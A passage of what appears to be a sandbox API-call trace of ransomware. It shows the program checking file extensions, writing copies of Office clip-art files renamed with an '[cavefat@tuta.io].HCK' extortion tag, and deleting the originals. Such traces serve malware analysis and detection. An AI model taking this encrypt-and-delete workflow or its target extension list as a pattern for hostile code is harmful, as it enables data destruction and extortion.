lstrlenW (lpString=".zip") returned 4 [0168.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.221] lstrlenW (lpString=".rar") returned 4 [0168.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString=".bz2") returned 4 [0168.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString=".7z") returned 3 [0168.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".dbf") returned 4 [0168.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".1cd") returned 4 [0168.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".jpg") returned 4 [0168.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.222] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.222] lstrlenW (lpString="J0107750.WMF") returned 12 [0168.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0168.224] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4716) returned 1 [0168.225] CloseHandle (hObject=0x368) returned 1 [0168.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 0x220 [0168.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.225] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.225] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.228] GetLastError () returned 0x0 [0168.229] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x126c, lpOverlapped=0x0) returned 1 [0168.267] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1270, lpOverlapped=0x0) returned 1 [0168.268] ReadFile (in: hFile=0x378, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.269] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.269] SetEndOfFile (hFile=0x330) returned 1 [0168.269] CloseHandle (hObject=0x330) returned 1 [0168.269] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.269] SetEndOfFile (hFile=0x378) returned 1 [0168.270] CloseHandle (hObject=0x378) returned 1 [0168.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0168.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.270] lstrlenW (lpString=".doc") returned 4 [0168.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.270] lstrlenW (lpString=".docx") returned 5 [0168.270] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.270] lstrlenW (lpString=".pdf") returned 4 [0168.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.270] lstrlenW (lpString=".xls") returned 4 [0168.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.270] lstrlenW (lpString=".xlsx") returned 5 [0168.270] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.270] lstrlenW (lpString=".ppt") returned 4 [0168.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.270] lstrlenW (lpString=".zip") returned 4 [0168.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.270] lstrlenW (lpString=".rar") returned 4 [0168.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.270] lstrlenW (lpString=".bz2") returned 4 [0168.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.270] lstrlenW (lpString=".7z") returned 3 [0168.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".dbf") returned 4 [0168.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".1cd") returned 4 [0168.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".jpg") returned 4 [0168.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".doc") returned 4 [0168.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString=".docx") returned 5 [0168.271] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.271] lstrlenW (lpString=".pdf") returned 4 [0168.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString=".xls") returned 4 [0168.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.271] lstrlenW (lpString=".xlsx") returned 5 [0168.271] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.271] lstrlenW (lpString=".ppt") returned 4 [0168.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".zip") returned 4 [0168.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.271] lstrlenW (lpString=".rar") returned 4 [0168.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString=".bz2") returned 4 [0168.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString=".7z") returned 3 [0168.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".dbf") returned 4 [0168.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".1cd") returned 4 [0168.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0168.271] lstrlenW (lpString=".jpg") returned 4 [0168.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.271] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.271] lstrlenW (lpString="J0145168.JPG") returned 12 [0168.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.278] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=33657) returned 1 [0168.278] CloseHandle (hObject=0x388) returned 1 [0168.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 0x220 [0168.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.283] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.283] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.290] GetLastError () returned 0x0 [0168.290] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8379, lpOverlapped=0x0) returned 1 [0168.313] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8380, lpOverlapped=0x0) returned 1 [0168.314] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.314] WriteFile (in: hFile=0x388, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.314] SetEndOfFile (hFile=0x388) returned 1 [0168.314] CloseHandle (hObject=0x388) returned 1 [0168.315] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.315] SetEndOfFile (hFile=0x308) returned 1 [0168.315] CloseHandle (hObject=0x308) returned 1 [0168.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString=".doc") returned 4 [0168.316] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.316] lstrlenW (lpString=".docx") returned 5 [0168.316] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.316] lstrlenW (lpString=".pdf") returned 4 [0168.316] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.316] lstrlenW (lpString=".xls") returned 4 [0168.316] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.316] lstrlenW (lpString=".xlsx") returned 5 [0168.316] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.316] lstrlenW (lpString=".ppt") returned 4 [0168.316] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString=".zip") returned 4 [0168.316] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.316] lstrlenW (lpString=".rar") returned 4 [0168.316] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.316] lstrlenW (lpString=".bz2") returned 4 [0168.316] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.316] lstrlenW (lpString=".7z") returned 3 [0168.316] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString=".dbf") returned 4 [0168.316] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString=".1cd") returned 4 [0168.316] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString=".jpg") returned 4 [0168.316] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.316] lstrlenW (lpString=".doc") returned 4 [0168.316] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.316] lstrlenW (lpString=".docx") returned 5 [0168.317] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.317] lstrlenW (lpString=".pdf") returned 4 [0168.317] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.317] lstrlenW (lpString=".xls") returned 4 [0168.317] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.317] lstrlenW (lpString=".xlsx") returned 5 [0168.317] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.317] lstrlenW (lpString=".ppt") returned 4 [0168.317] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.317] lstrlenW (lpString=".zip") returned 4 [0168.317] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.317] lstrlenW (lpString=".rar") returned 4 [0168.317] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.317] lstrlenW (lpString=".bz2") returned 4 [0168.317] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.317] lstrlenW (lpString=".7z") returned 3 [0168.317] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.317] lstrlenW (lpString=".dbf") returned 4 [0168.317] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.317] lstrlenW (lpString=".1cd") returned 4 [0168.317] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0168.317] lstrlenW (lpString=".jpg") returned 4 [0168.317] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.317] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.317] lstrlenW (lpString="J0145707.JPG") returned 12 [0168.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.331] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=36820) returned 1 [0168.331] CloseHandle (hObject=0x39c) returned 1 [0168.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220 [0168.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.336] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.336] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.344] GetLastError () returned 0x0 [0168.344] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8fd4, lpOverlapped=0x0) returned 1 [0168.348] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8fe0, lpOverlapped=0x0) returned 1 [0168.349] ReadFile (in: hFile=0x360, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.349] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.349] SetEndOfFile (hFile=0x39c) returned 1 [0168.352] CloseHandle (hObject=0x39c) returned 1 [0168.354] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.354] SetEndOfFile (hFile=0x360) returned 1 [0168.356] CloseHandle (hObject=0x360) returned 1 [0168.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0168.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.371] lstrlenW (lpString=".doc") returned 4 [0168.371] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.371] lstrlenW (lpString=".docx") returned 5 [0168.371] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0168.371] lstrlenW (lpString=".pdf") returned 4 [0168.371] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.371] lstrlenW (lpString=".xls") returned 4 [0168.371] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.371] lstrlenW (lpString=".xlsx") returned 5 [0168.371] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0168.371] lstrlenW (lpString=".ppt") returned 4 [0168.371] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.371] lstrlenW (lpString=".zip") returned 4 [0168.371] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.371] lstrlenW (lpString=".rar") returned 4 [0168.372] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.372] lstrlenW (lpString=".bz2") returned 4 [0168.372] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString=".7z") returned 3 [0168.372] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".dbf") returned 4 [0168.372] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".1cd") returned 4 [0168.372] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".jpg") returned 4 [0168.372] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".doc") returned 4 [0168.372] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString=".docx") returned 5 [0168.372] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0168.372] lstrlenW (lpString=".pdf") returned 4 [0168.372] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.372] lstrlenW (lpString=".xls") returned 4 [0168.372] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.372] lstrlenW (lpString=".xlsx") returned 5 [0168.372] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0168.372] lstrlenW (lpString=".ppt") returned 4 [0168.372] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".zip") returned 4 [0168.372] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.372] lstrlenW (lpString=".rar") returned 4 [0168.372] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.372] lstrlenW (lpString=".bz2") returned 4 [0168.372] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.372] lstrlenW (lpString=".7z") returned 3 [0168.372] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68 [0168.372] lstrlenW (lpString=".dbf") returned 4 [0168.372] lstrcmpiW (lpString1=".dbf", 